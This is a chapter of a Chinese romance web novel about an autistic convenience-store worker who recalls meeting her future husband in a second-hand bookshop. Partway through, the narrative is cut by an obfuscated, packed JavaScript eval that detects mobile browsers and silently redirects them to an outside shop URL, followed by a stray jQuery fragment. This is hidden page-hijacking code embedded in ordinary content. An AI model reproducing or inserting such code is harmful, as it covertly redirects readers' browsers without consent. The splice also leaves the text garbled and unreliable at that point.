202X年，四月，南城。
东方地平线浴在晨曦之中，西边街道依旧灰冷，地面树影婆娑，而24小时便利店里灯火通明，刚出锅的玉米热气腾腾。
周茉替客人拣起早餐，结完账，只见一位梳着低马尾的中年女人从外奔来，与客人在门口擦肩而过。
“太谢谢你了，这段时间总麻烦你，也就你愿意替我上夜班。”女人脸色疲倦，递给周茉两瓶营养液，“累坏了吧。”
“不客气。”周茉语气顿挫，嗓音轻柔，与女人对视不过三秒，瞥向斜方地面，垂在裤边的手指上下摆动，像蝴蝶翅膀在翻飞。怕女人没听见，又说一遍，“不客气。”
女人负责夜班，最近家中出现变故，白天要照顾小孩，晚上要去医院守病房，完全抽不出身。便利店夜班时薪高，但累人，在这兼职的大多是大学生，所以几乎没人愿意上夜班。周茉却很乐意，只要女人开口，她就应下，近来连轴转了好几天，她不怕累，希望累，因为要多攒钱，给周末换大房子——大房子敞亮。
而女人一有空，就会来替周茉的白班，她知道今天是周茉很重要的日子，便匆匆赶来。
周茉患有自闭症，今年28岁。和小时候比，她的社交能力好了不少，可以在社会上独立生存。虽能与人长时间交流，但频率不能太快，需要喘气口，且只能是简单而表面的交流，所以便利店的工作再适合不过。对老板而言，周茉是天选便利店打工人。因为她的强迫症，店里十分整洁，货品像站军姿似的立在货架上，加上她从不多说话，只埋头干活，老板可不就觉得捡到了宝。
与女人交接完班，周茉从冰柜里取出昨晚让跑腿取来的，早已订好的草莓蛋糕，接着背上双肩包，戴上有线耳机，播放老旧的蓝色MP3里的音频，不急不慢地上了回家的首班公交车。
她坐在最后一排靠窗的位置，推开窗户，看向窗外，街景飞逝，春风涌进，齐耳黑发向后翻飞，齐刘海岔开，清冷的五官一览无余。柳叶眉下，细长的睡凤眼似醒非醒，朦胧的眸光在薄薄的眼皮下流转，自带几分柔情。
与此同时，她不停转动左手无名指上的钻石戒指。
今天是她与周末的五周年结婚纪念日，也是周末的生日，往年都是周末准备蛋糕和大餐，但见他最近太累，总睡不醒，她便主动提出今年由她负责。她以前不喜欢草莓，觉得酸牙，而周末喜欢，不知道为什么他买的草莓总是甜滋滋的，渐渐地，她接受了草莓的味道，甚至成了最爱，哪怕酸涩。
她感恩周末，就像感恩妈妈那样。
自大学毕业，周末就在家做全职游戏陪玩。她知道他只是打游戏厉害，到了可以去打职业的程度，但他并不热爱。他和妈妈一样，爱阳光，爱社交，也和妈妈一样，选择放弃社会生活，在家待命，这样便于及时安抚她这颗随时可能爆炸的炸弹。
这时，周茉口袋里传来手机振动声。
“茉茉早上好啊。”电话里的声音透着笑意，也带着倦意。
“妈妈，早上好。”周茉回复，“妈妈，辛苦了。”
她知道妈妈为了写新书，又彻夜未眠了——妈妈是小有名气的作者，但写作让她十分痛苦。
“在回家路上？”
“嗯。”
“最近感觉还好吗？”
“我很好，妈妈放心。”
“南城出太阳了吧，记得抬头看看天空哦。”
“会的，一定会的。”周茉一直看着太阳，追寻阳光，日日如此。
电话里的声音停顿了许久，才说：“代我向周末问好哦，抱歉，实在是赶不回来。”
周萧然，也就是周茉的妈妈，在外采风，要到下周才能回。她以前几乎不会去实地搜集写作素材，自周茉与周末结婚，她才敢出门这么长时间。
“妈妈，没关系的，周末会理解的。”
母女俩闲聊了几句，见公交车到站，周茉与周萧然道别，撂下了电话。
小两口的家在市中心的高级小区里，这里设施完善，每栋楼都挂着一列列大阳台。房子是周萧然付的首付，他们负责还房贷，主要由周末承担，这是他主动要求的，在他看来房子理应由男方买，所以他很努力地靠打游戏赚钱，昼夜颠倒，睡眠不足。
这个房子一百平方，不大不小，刚好够他们住。
周茉回到家时，客厅的灯亮着，不见人影，来迎接她的是他们的女儿，一只三花猫。
“小茉莉，早上好。”周茉蹲下，给小猫闻自己手上的气味，“爸爸是不是睡觉了？”
周末怕黑，只要他在家，不管是醒着还是睡了，家里总是亮堂堂的。书房门半掩着，白炽灯没关，周茉推门探头，电脑没关，主机彩色呼吸灯闪烁着。转身一看，主卧门紧闭，门下透出熹微暖光。
看来，周末真的休息了，应该睡下还不久，还是不要动他的电脑，没准他只是小憩一下，待会儿起来还要用。
周茉将蛋糕稳当地放进冰箱，心想：“周末今天应该会很开心吧，他开心，她也开心。”
想着，她去了衣帽间。这里原本空间狭窄，此刻却像是一望无际的海洋。周末知道她喜欢蓝色，给她买了各种蓝色的衣服包包和鞋子，深深浅浅地摆在一起，像涌动的海浪。衣架上几乎都是她的衣服，而他的衣服，一个墙角就够装了。
这段时间她一直死气沉沉。今天是重要的日子，她要好好打扮下，换了一套宝蓝色格纹呢子裙套装，戴上珍珠首饰。至于头发，她昨天就做好了准备，上班前先去了趟美发店，把长卷发换成了短直发，还剪了齐刘海。她已经很多年没剪过短发了，打算给周末一个惊喜。
换好衣服后，见时间还早——早晨七点半——她回到书房，刚一坐下，小茉莉跳到她腿上，窝着。它和周末一样，是个黏人精，她走哪跟哪。
随它，只要它舒服。
她从抽屉里拿出一个皮套本，这是她和周末共用的日记本，上面写着只想让对方知道的小秘密。她很爱周末，但她不善言辞，害怕周末听不到她的爱意而离开。于是，她邀请周末和她在日记本上对话。
相比发短信，手写费时，但也足以说明，书写的人愿意为对方费时费心。
算是她与周末之间的小浪漫吧。
她打开枯叶书签插入的页面，已是最新一页，便直接下笔。
“今天是四月的第一个周末。我喜欢周末，因为它惬意。我爱周末，因为他如周末时光，让我舒心。忽然想起，我们初遇时，也是周末——”
那时，正值中考后的暑假。
周茉考上了南城一中，一所仅次于重点高中的学校。她平时成绩中等偏下，这是她很努力才得到的结果。周萧然并不在意女儿的成绩，但难免欣慰与欣喜。
周萧然带着周茉搬到了学校附近的老街，一来方便她上学，二来老小区租金低，自己负担小很多。
在周茉两三岁时，也就是发现她患有自闭症的时候，其生父出轨，周萧然捉奸在床。离婚官司结束后，男人净身出户，周萧然转头就把房子卖了，她嫌脏，看着膈应，而钱总归是要花出去的。于是，她拿着钱，头也不回地把周茉带走，独自抚养，改和她姓。这么多年过去，看病治病，吃喝拉撒，衣食住行，那些钱早花光了。而她仅是才冒尖尖角的小小作者，收入不稳定，那男人混得也很差，每年给的抚养费根本不够母女俩过好日子。
周茉是高功能自闭症，随着大脑发育和治疗干预，她逐渐理解周萧然的处境，很少提无理的要求。实际上，大多数自闭症人士的同理心并不差，甚至非常好，正因此，他们单纯善良。他们无法理解抽象的表达，接收信息的能力很弱，或者说，他们与外界之间的电话线是断的，如果能设法将电话线接通，他们是能明白很多事的。当然，这需要陪伴者有极大的耐心。
周萧然正如此，坚持了十多年，仍有信心继续下去。
周萧然认为周茉考上南城一中值得奖励，想给她换台手机或者电脑，又或是别的。
周茉统统拒绝了。
搬到新家那天，是暑假的第一个周末。周萧然正把纸箱里的东西收拾出来，周茉在一旁搭手，小心翼翼地将东西摆放整齐。
不一会儿，周萧然的背被人戳了戳。她回眸，只见周茉眼神游离，身体轻微晃动，双手在腹前勾来勾去，说：“妈妈，街上有家书店。”
“你刚刚在车上指的那家吗？怎么啦？想去玩？”
周茉点头：“看漫画，不要钱。周茉的奖励。”
周萧然会心一笑：“就是要钱，妈妈也会给你买的。只是现在抽不开身，没法带你过去。明天妈妈再带你去，好不好？”
“周茉自己去。那里很近。周茉可以。”
周萧然发现周茉最近十分要强，大概是意识到自己长大了，自己的事情要自己做，不能让她操心。
可她能不操心吗？
于是，周萧然还是放下了手中的活，同周茉一起去了书店。
路上，烈日当空，热浪在地表波动，阳光似金子撒在周茉头顶，而她两颊像河豚一样鼓起，吐出短而有力的气，直把刘海吹起。
周萧然再了解不过，周茉生气了，每回都是这种表现，忙说：“妈妈不是想干预你的想法。你想想，这边不说你，妈妈也很陌生，不是吗？就当我们一起熟悉了一次环境，好不好？”
周茉咬着下唇，迟迟才道：“周茉可以自己回去。”
书店与小区只隔了一条马路，很快就到了。
这是间卖二手书的书店，门口立着牌子，上面写着“看书不要钱，买书按斤称”。为了遮阳，卷闸门半耷拉着，里面是一扇透亮的橱窗。店不大，只够两人用的长桌挨着玻璃窗，书柜里的书东倒西歪，地上还有一堆漫画书和小说如流沙摊着。店里面没有空调，发黄的吊顶转扇在头顶咯吱作响。
“自己回家要注意安全。”周萧然反复叮嘱，“回家前记得先给我打电话，遇事更要给我电话，我要是给你打电话，要及时接听，好吗？”
周茉应声后，周萧然便离开了。
周萧然的身影彻底消失在周茉视野中后，她立刻紧张起来，不由紧抓挂在胸前的米白色翻盖手机。
周茉可以的。
周茉没问题。
这里的客人少之又少，几乎没人愿意在逼仄、闷热的空间里久待，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17744471|209219||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
连老板都跑去隔壁蹭空调了，留下周茉一人，这倒是让她松了口气。周茉不怕热，这里堪比树洞，她可以静心看漫画书，比大型图书馆好。
不过，在看书前，她必须把这些书摆整齐，不然她根本静不下心。书架上的书一本本紧贴着摆好，地上的书砌成棱角分明的“金字塔”。
周茉的阅读理解能力弱，不喜欢纯文字或者纯图片的书，她喜欢尽可能直白的，或者傻瓜式的表达。因此，她喜欢看一些不太复杂的漫画，角色夸张的表情，配上生动的台词，能让她感受到作者想要表达的情绪。
周茉坐到窗边，戴上有线耳机，听着手机里的轻音乐，手边翻动书页。
“老板，你的炸酱拌面好咯。”
音乐声不大，周茉能听见有人在说话，声音爽朗。她埋着头，视线从眼角投出去，打量来人。
来人是一位小麦色肌肤的男生，身材高大，侧脸硬朗，不算短的黑发往后梳起，像是用啫喱抓过，整理得很清爽。他的打扮透着少年朝气，上身是一件白T，腰间系了件黑白格子衬衫，下身则是一条宽松的牛仔裤。
“嗨喽，你看见老板去哪儿了吗？”男生在屋里转了一圈后，问她话。
周茉不由往里靠了靠，垂头道：“隔壁。”
“谢啦。”说罢，男生提着面出去了。
五分钟后，周茉无意间抬眸，透过玻璃窗，那男生再次现身，手中的面变成了钱，塞进口袋中。
不料，她的视线被他抓个正着，她忙将漫画书立起，整个脸埋了进去。
过了一会儿，无事发生，周茉才将书放下，而身后传来窸窸窣窣的声音。转头一看，那男生靠着书柜，席地而坐，手中的小说把他的脸完全遮挡，而他一旁的书堆，变得乱七八糟。
男生似乎闻到了异样的气味，视线越过书的上缘，只见那齐耳短发女生侧身坐着，死死盯着地上那摊书，脸颊鼓得浑圆，非常可爱，像才捏成的瓷娃娃，完美无瑕。她脸上虽然没有多余的表情，但给人一种她不开心的感觉。
“这是你整理的？”他问。
女生迅速转回身，似乎是害羞了。她虽然没有作答，但他已经得到了答案。
“抱歉，平时就我一个人在这看书，习惯了，”男生讪笑，忙将书堆摆整齐。
周茉对环境的整洁有极高的要求，知道这不能怪他。见他粗手粗脚地将书摞在一起，忍不住上前自己整理。
和陌生人接触时，她会紧张，会害怕。但她长大了，不能一直拖累妈妈，她不能退缩，可以慢慢向前走，一切会越变越好。
心想下，周茉尽量往边上靠，尽量不去看男生，可他一直在她余光中晃动。他在学习她的整理方式，时不时看她一眼，到后面变成盯着她看。他目光火热，灼烫了她的脸。
“虽然很冒昧，但还是很想说——”男生忽然说。
周茉不由加快手中速度，想赶紧远离他，不看他，却还是微微歪了下头，头顶对着他。
意思是：好吧，周茉听听。
“你真的很漂亮，比明星还漂亮。”男生口吻真挚，桃花眼含笑，“还有，蓝色和你很配。”
这天，周茉穿了一件宝蓝色的小飞袖连衣裙，衬得皮肤雪白细腻。
从那时起，周末总对周茉说：“你穿什么颜色都好看，穿蓝色尤其漂亮。”
她穿着最喜欢的颜色，被最喜欢的人夸赞，她很开心。
但她对周末的第一印象是：变态。
那时，她听不出周末的用意，他对陌生人说这话很奇怪。她只记得妈妈说过，男孩子要是总盯着女孩子看，肯定图谋不轨。更重要的是，喜欢对女孩子动手动脚的男孩子，是大变态。
周末就喜欢对她动手动脚，虽然是很久以后才开始的。
从书店回到家，周萧然问周茉玩得开不开心，她很坦白：“妈妈，有变态。”
这话把周萧然吓个半死，转着圈检查周茉的身体，嘴边不停问发生了什么。
周茉只能将情况简单表述几句。
“他的眼神坏不坏？”
周茉摇头。
周萧然发觉自己昏了头，女儿是最怕和人对视的。于是，她斩钉截铁道：“以后遇到这种情况，一概认定为变态，要躲得远远的。”
周茉从未想过，自己接下来会和这个变态高中同班，甚至同桌了三年，不仅如此，还同床了一年又一年。每天躺在床上，他总会把她搂进怀中，在她耳边低语，说些她听不懂的话。
他总说：“好想把你拴在床上，但我不能，也舍不得。”
周茉始终不懂其中意味。
“具体什么意思你不用知道，你只用知道，我爱你，很爱很爱你。”
这句她听懂了。
她也很爱周末，可她说不出口，但她会学周末那些奇怪的话。
“我也想把你拴在床上。”话刚落地，周茉立刻改口，“不要。一点也不想。”
“为什么？我很愿意啊。”
“不要。”周茉很坚决。说时，在周末怀中转身，脸埋进他的胸口，想要听他的心跳，“只有病人会一直躺在床上。我不想你生病。”